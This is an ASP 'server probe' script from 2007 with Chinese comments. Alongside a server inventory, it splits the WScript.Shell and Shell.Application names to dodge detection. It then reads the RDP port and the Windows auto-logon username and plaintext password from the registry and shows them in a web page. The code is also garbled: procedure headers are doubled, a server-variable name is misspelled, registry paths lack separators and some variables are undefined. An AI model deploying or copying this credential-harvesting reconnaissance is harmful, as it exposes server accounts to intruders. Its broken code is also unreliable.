一个小的服务器的探针程序(ASP)

<style>body{margin:8;border:none;background-color:buttonface;}</style>
<!-program by heroooooo
time:2007-1-25 pm 5:00
这个是做个探针的,需要的时候可以用得着的.
->
<%
        Dim theAct
        Set wsX = Server.CreateObject("WScrip"&x&"t.Shell")
        aryExEnvList = Split(strExEnvList, "$")
        theAct = Request("theAct")
        showTitle("服务器相关数据")
        response.write "<p align=center>BY heroooooo<p><br>"
            Call    Pageecho()
            response.write "<br>服务器相关参数:<br>"
            call    getSrvInfo()
            call    getSiteRootInfo()
            call    getTerminalInfo()
        response.write "<br/>"
%>
<%
Sub getSrvInfo()Sub getSrvInfo()
        Dim i, sa, objWshSysEnv, aryExEnvList, strExEnvList, intCpuNum, strCpuInfo, strOS
        Set sa = Server.CreateObject("She"&T&"ll.Appl"&T&"ication")
        strExEnvList = "SystemRoot$WinDir$ComSpec$TEMP$TMP$NUMBER_OF_PROCESSORS$OS$Os2LibPath$Path$PATHEXT$PROCESSOR_ARCHITECTURE$" & _
                       "PROCESSOR_IDENTIFIER$PROCESSOR_LEVEL$PROCESSOR_REVISION"
        aryExEnvList = Split(strExEnvList, "$")
        
        Set objWshSysEnv = wsX.Environment("SYSTEM")
        chkErr(Err)
        intCpuNum = Request.ServerVariables("NUMBER_OF_PROCESSORS")
        If IsNull(intCpuNum) Or intCpuNum = "" Then
            intCpuNum = objWshSysEnv("NUMBER_OF_PROCESSORS")
        End If
        strOS = Request.ServerVariables("OS")
        If IsNull(strOS) Or strOS = "" Then
            strOS = objWshSysEnv("OS")
            strOs = strOs & "(有可能是 Windows2003 哦)"
        End If
        strCpuInfo = objWshSysEnv("PROCESSOR_IDENTIFIER")
        response.write "<li>服务器名: " & Request.ServerVariables("SERVER_NAME") & "</li>"
        response.write "<li>服务器IP: " & Request.ServerVariables("LOCAL_ADDR") & "</li>"
        response.write "<li>服务端口: " & Request.ServerVariables("SERVER_PORT") & "</li>"
        response.write "<li>服务器内存: " & getTheSize(sa.GetSystemInformation("PhysicalMemoryInstalled")) & "</li>"
        response.write "<li>服务器时间: " & Now & "</li>"
        response.write "<li>服务器软件: " & Request.ServerVariables("SERVER_SOFTWARE") & "</li>"
        response.write "<li>脚本超时时间: " & Server.ScriptTimeout & "</li>"
        response.write "<li>服务器CPU数量: " & intCpuNum & "</li>"
        response.write "<li>服务器CPU详情: " & strCpuInfo & "</li>"
        response.write "<li>服务器操作系统: " & strOS & "</li>"
        response.write "<li>服务器解译引擎: " & ScriptEngine & "/" & ScriptEngineMajorVersion & "." & ScriptEngineMinorVersion & "." & ScriptEngineBuildVersion & "</li>"
        response.write "<li>本文件实际路径: " & Request.ServerVariables("PATH_TRANmcATED") & "</li>"
        For i = 0 To UBound(aryExEnvList)
            response.write "<li>" & aryExEnvList(i) & ": " & wsX.ExpandEnvironmentStrings("%" & aryExEnvList(i) & "%") & "</li>"
        Next
        Set sa = Nothing
        Set objWshSysEnv = Nothing
    End Sub
    Sub getSiteRootInfo()Sub getSiteRootInfo()
        If isDebugMode = False Then
            On Error Resume Next
        End If
        Dim objTheFolder
        Set objTheFolder = fsoX.GetFolder(Server.MapPath("/"))
        response.write "<li>物理路径: " & Server.MapPath("/") & "</li>"
        response.write "<li>当前大小: " & getTheSize(objTheFolder.Size) & "</li>"
        response.write "<li>文件数: " & objTheFolder.Files.Count & "</li>"
        response.write "<li>文件夹数: " & objTheFolder.SubFolders.Count & "</li>"
        response.write "<li>创建日期: " & objTheFolder.DateCreated & "</li>"
        response.write "<li>最后访问日期: " & objTheFolder.DateLastAccessed & "</li>"
    End Sub
    
    Sub getTerminalInfo()Sub getTerminalInfo()
        If isDebugMode = False Then
            On Error Resume Next
        End If
        Dim terminalPortPath, terminalPortKey, termPort
        Dim autoLoginPath, autoLoginUserKey, autoLoginPassKey
        Dim isAutoLoginEnable, autoLoginEnableKey, autoLoginUsername, autoLoginPassword

        terminalPortPath = "HKLMSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp"
        terminalPortKey = "PortNumber"
        termPort = wsX.RegRead(terminalPortPath & terminalPortKey)

        response.write "<br><li>终端服务端口及自动登录信息"
        If termPort = "" Or Err.Number <> 0 Then 
            response.write  "无法得到终端服务端口, 请检查权限是否已经受到限制.<br/>"
         Else
            response.write  "当前终端服务端口: " & termPort & "<br/>"
        End If
        
        autoLoginPath = "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon"
        autoLoginEnableKey = "AutoAdminLogon"
        autoLoginUserKey = "DefaultUserName"
        autoLoginPassKey = "DefaultPassword"
        isAutoLoginEnable = wsX.RegRead(autoLoginPath & autoLoginEnableKey)
        If isAutoLoginEnable = 0 Then
            response.write  "<li>系统自动登录功能未开启<br/>"
        Else
            autoLoginUsername = wsX.RegRead(autoLoginPath & autoLoginUserKey)
            response.write  "<li>自动登录的系统帐户: " & autoLoginUsername & "<br>"
            autoLoginPassword = wsX.RegRead(autoLoginPath & autoLoginPassKey)
            If Err Then
                Err.Clear
                response.write  "False"
            End If
            response.write  "<li>自动登录的帐户密码: " & autoLoginPassword & "<br>"
        End If 
    End Sub 

    Sub showTitle()Sub showTitle(str)
        response.write "<title>" & str & " </title>" & vbNewLine
        response.write "<meta http-equiv='Content-Type' content='text/html; charset=gb2312'>" & vbNewLine
        response.write "" & vbNewLine
    End Sub  

    Sub Pageecho()Sub Pageecho()
        Dim i, objTmp, txtObjInfo, strObjectList, strDscList
        txtObjInfo = Trim(Request("txtObjInfo"))
        strObjectList = "MSWC.AdRotator,MSWC.BrowserType,MSWC.NextLink,MSWC.Tools,MSWC.Status,MSWC.Counters,IISSample.ContentRotator," & _
                        "IISSample.PageCounter,MSWC.PermissionChecker,ADO"&T&"DB.Conne"&T&"ction,SoftArtisans.FileUp,SoftArtisans.FileManager,LyfUpload.UploadFile," & _
                        "Persits.Upload.1,W3.Upload,JMail.SmtpMail,CDONTS.NewMail,Persits.MailSender,SMTPsvg.Mailer,DkQmail.Qmail,Geocel.Mailer," & _
                        "IISmail.Iismail.1,SmtpMail.SmtpMail.1,SoftArtisans.ImageGen,W3Image.Image," & _
                        "Scripting.FileSystemObject,Adodb.Stream,She"&T&"ll.Appl"&T&"ication,WScri"&T&"pt.She"&T&"ll,Wscript.Network"
        strDscList = "广告轮换,浏览器信息,内容链接库,,,计数器,内容轮显,,权限检测,ADO 数据对象,SA-FileUp 文件上传,SoftArtisans 文件管理," & _
                     "刘云峰的文件上传组件,ASPUpload 文件上传,Dimac 文件上传,Dimac JMail 邮件收发,虚拟 SMTP 发信,ASPemail 发信,ASPmail 发信,dkQmail 发信," & _
                     "Geocel 发信,IISmail 发信,SmtpMail 发信,SA 的图像读写,Dimac 的图像读写组件," & _
                     "FSO,Stream 流,,,"

        aryObjectList = Split(strObjectList, ",")
        aryDscList = Split(strDscList, ",")
        response.write "其他组件支持情况检测<br/>"
        response.write "在下面的输入框中输入你要检测的组件的ProgId或ClassId。<br/>"
        response.write "<form method=post>"
        response.write "<input name=txtObjInfo size=30 value=""" & txtObjInfo & """><input name=theAct type=submit value=我要检测>"
        response.write "</form>"

        If Request("theAct") = "我要检测" And txtObjInfo <> "" Then
            Call getObjInfo(txtObjInfo, "")
        End If 
        response.write "<lu>组件名称 ┆ 支持及其它"

        For i = 0 To UBound(aryDscList)
            Call getObjInfo(aryObjectList(i), aryDscList(i))
        Next

        response.write "</lu><br/>"         
    End Sub 
    Sub getObjInfo()Sub getObjInfo(strObjInfo, strDscInfo)
        Dim objTmp

        If isDebugMode = False Then
            On Error Resume Next
        End If

        response.write "<li> " & strObjInfo
        If strDscInfo <> "" Then
            response.write " (" & strDscInfo & "组件)"
        End If

        response.write " ┆ "

        Set objTmp = Server.CreateObject(strObjInfo)
        If Err <> -2147221005 Then
            response.write "√ "
            response.write "Version: " & objTmp.Version & "; "
            response.write "About: " & objTmp.About
         Else
            response.write "×"
        End If
        response.write "</li>"
        If Err Then
            Err.Clear
        End If
        Set objTmp = Nothing 
    End Sub 
    Sub chkErr()Sub chkErr(Err)
        If Err Then
            echo "<style>body{margin:8;border:none;overflow:hidden;background-color:buttonface;}</style>"
            echo "<br/><font size=2><li>错误: " & Err.Description & "</li><li>错误源: " & Err.Source & "</li><br/>"
            echo "<hr></font>"
            Err.Clear
            Response.End
        End If
    End Sub  
    Function getTheSize()Function getTheSize(theSize)
        If theSize >= (1024 * 1024 * 1024) Then getTheSize = Fix((theSize / (1024 * 1024 * 1024)) * 100) / 100 & "G"
        If theSize >= (1024 * 1024) And theSize < (1024 * 1024 * 1024) Then getTheSize = Fix((theSize / (1024 * 1024)) * 100) / 100 & "M"
        If theSize >= 1024 And theSize < (1024 * 1024) Then getTheSize = Fix((theSize / 1024) * 100) / 100 & "K"
        If theSize >= 0 And theSize <1024 Then getTheSize = theSize & "B"
    End Function
%>